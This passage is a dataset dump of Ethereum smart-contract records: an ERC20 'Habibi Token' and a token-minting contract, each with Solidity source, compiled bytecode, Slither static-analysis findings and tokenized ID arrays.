000000000000061010082015250565b7f7b226e616d65223a202242656c6c652044414f7068696e652050617373202300600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f2e706e6700000000000000000000000000000000000000000000000000000000600082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f756768206d696e74732072656d61696e696e6720746f206d6960008201527f6e74000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d6178206d696e747320706572207472616e73616374696f6e2065786365656460008201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f6e6578697374656e7420746f6b656e000000000000000000000000000000600082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f227d000000000000000000000000000000000000000000000000000000000000600082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000600082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a20746f6b656e20616c7265616479206d696e746564000000600082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f7567682066726565206d696e74732072656d61696e00000000600082015250565b7f496e636f7272656374204554482076616c75652073656e740000000000000000600082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b7f5075626c69632073616c65206973206e6f74206f70656e000000000000000000600082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e7469747920746f206d696e7420746f6f20686960008201527f6768000000000000000000000000000000000000000000000000000000000000602082015250565b7f2f00000000000000000000000000000000000000000000000000000000000000600082015250565b614e5681614298565b8114614e6157600080fd5b50565b614e6d816142aa565b8114614e7857600080fd5b50565b614e84816142b6565b8114614e8f57600080fd5b50565b614e9b816142e2565b8114614ea657600080fd5b50565b614eb281614330565b8114614ebd57600080fd5b5056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220f0128927ac915706d3f10d4373a20023e997634e73aa6f3c9bf54bad6664780964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
16932,
2683,
2098,
2581,
18827,
2581,
23777,
7011,
2509,
2050,
2581,
2050,
2581,
2546,
12740,
2475,
2063,
16068,
2581,
4215,
2620,
2278,
2546,
2683,
16932,
2278,
19961,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
3206,
2241,
2006,
1031,
16770,
1024,
1013,
1013,
9986,
2015,
1012,
2330,
4371,
27877,
2378,
1012,
4012,
1013,
8311,
1013,
1017,
1012,
1060,
1013,
9413,
2278,
2581,
17465,
1033,
1006,
16770,
1024,
1013,
1013,
9986,
2015,
1012,
2330,
4371,
27877,
2378,
1012,
4012,
1013,
8311,
1013,
1017,
1012,
1060,
1013,
9413,
2278,
2581,
17465,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3036,
1013,
2128,
4765,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,464 | 0x95319f46741a2142decec1809a08f2d5d46989d0 | pragma solidity ^0.4.24;
// ------------------------------------------------------------------------------------
// 'Habibi Token' Token Contract
//
// Contract Address : 0x95319F46741A2142decEC1809A08f2D5D46989D0 [Please don't send ETH/BNB to this Contract Address because it'll never mint Token]
// Symbol : HBB
// Name : Habibi Token
// Total Supply : 1,000,000,000 HBB
// Decimals : 8
//
// © By 'Habibi Token' With 'HBB' Symbol 2021.
//
// ------------------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract HabibiToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function HabibiToken() public {
symbol = "HBB";
name = "Habibi Token";
decimals = 8;
_totalSupply = 1000000000e8;
balances[0x2E7875E1ea84c00D8AeA4FBE692F50558905E78C] = _totalSupply;
Transfer(address(0), 0x2E7875E1ea84c00D8AeA4FBE692F50558905E78C, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820a60bb852e5f4186607adc8c7a921df055d747391c1cbfbce7bee183bebd0396d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
16147,
2546,
21472,
2581,
23632,
2050,
17465,
20958,
3207,
3401,
2278,
15136,
2692,
2683,
2050,
2692,
2620,
2546,
2475,
2094,
2629,
2094,
21472,
2683,
2620,
2683,
2094,
2692,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,465 | 0x9532014dadb2c980e43fe4665c86c2c0b1b4603d | contract SafeMath {
uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
require(x <= MAX_UINT256 - y);
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
require(x >= y);
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) {
return 0;
}
require(x <= (MAX_UINT256 / y));
return x * y;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
contract Lockable is Owned {
uint256 public lockedUntilBlock;
event ContractLocked(uint256 _untilBlock, string _reason);
modifier lockAffected {
require(block.number > lockedUntilBlock);
_;
}
function lockFromSelf(uint256 _untilBlock, string _reason) internal {
lockedUntilBlock = _untilBlock;
ContractLocked(_untilBlock, _reason);
}
function lockUntil(uint256 _untilBlock, string _reason) onlyOwner public {
lockedUntilBlock = _untilBlock;
ContractLocked(_untilBlock, _reason);
}
}
contract ERC20PrivateInterface {
uint256 supply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract tokenRecipientInterface {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
contract OwnedInterface {
address public owner;
address public newOwner;
modifier onlyOwner {
_;
}
}
contract ERC20TokenInterface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MintableTokenInterface {
function mint(address _to, uint256 _amount) public;
}
contract MintingContract is Owned {
address public tokenAddress;
enum state { crowdsaleMinintg, teamMinting, finished}
state public mintingState;
uint public crowdsaleMintingCap;
uint public tokensAlreadyMinted;
uint public teamTokensPercent;
address public teamTokenAddress;
uint public communityTokens;
uint public communityTokens2;
address public communityAddress;
constructor() public {
crowdsaleMintingCap = 570500000 * 10**18;
teamTokensPercent = 27;
teamTokenAddress = 0xc2180bC387B7944FabE5E5e25BFaC69Af2Dc888A;
communityTokens = 24450000 * 10**18;
communityTokens2 = 5705000 * 10**18;
communityAddress = 0x4FAAc921781122AA61cfE59841A7669840821b86;
}
function doCrowdsaleMinting(address _destination, uint _tokensToMint) onlyOwner public {
require(mintingState == state.crowdsaleMinintg);
require(tokensAlreadyMinted + _tokensToMint <= crowdsaleMintingCap);
MintableTokenInterface(tokenAddress).mint(_destination, _tokensToMint);
tokensAlreadyMinted += _tokensToMint;
}
function finishCrowdsaleMinting() onlyOwner public {
mintingState = state.teamMinting;
}
function doTeamMinting() public {
require(mintingState == state.teamMinting);
uint onePercent = tokensAlreadyMinted/70;
MintableTokenInterface(tokenAddress).mint(communityAddress, communityTokens2);
MintableTokenInterface(tokenAddress).mint(teamTokenAddress, communityTokens - communityTokens2);
MintableTokenInterface(tokenAddress).mint(teamTokenAddress, (teamTokensPercent * onePercent));
mintingState = state.finished;
}
function setTokenAddress(address _tokenAddress) onlyOwner public {
tokenAddress = _tokenAddress;
}
} | 0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630e6d3a89146100f65780631eeccead1461012f57806326a4e8d21461015a5780632e5fe7461461019d57806332dea130146101c85780635d3a5e3b146101df57806379ba5097146102365780638508a6931461024d57806386e476dd1461026457806389f47b64146102bb5780638da5cb5b14610308578063931672041461035f5780639d76ea581461038a578063a1cbae6c146103e1578063b65dc8431461040c578063d4ee1d9014610437578063f2fde38b1461048e575b600080fd5b34801561010257600080fd5b5061010b6104d1565b6040518082600281111561011b57fe5b60ff16815260200191505060405180910390f35b34801561013b57600080fd5b506101446104e4565b6040518082815260200191505060405180910390f35b34801561016657600080fd5b5061019b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104ea565b005b3480156101a957600080fd5b506101b2610586565b6040518082815260200191505060405180910390f35b3480156101d457600080fd5b506101dd61058c565b005b3480156101eb57600080fd5b506101f461060a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024257600080fd5b5061024b610630565b005b34801561025957600080fd5b5061026261080c565b005b34801561027057600080fd5b50610279610b82565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c757600080fd5b50610306600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba8565b005b34801561031457600080fd5b5061031d610d3a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036b57600080fd5b50610374610d5f565b6040518082815260200191505060405180910390f35b34801561039657600080fd5b5061039f610d65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610d8b565b6040518082815260200191505060405180910390f35b34801561041857600080fd5b50610421610d91565b6040518082815260200191505060405180910390f35b34801561044357600080fd5b5061044c610d97565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049a57600080fd5b506104cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbd565b005b600260149054906101000a900460ff1681565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561054257fe5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105e457fe5b6001600260146101000a81548160ff0219169083600281111561060357fe5b0217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561068c57600080fd5b7f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006001600281111561081b57fe5b600260149054906101000a900460ff16600281111561083657fe5b14151561084257600080fd5b604660045481151561085057fe5b049050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff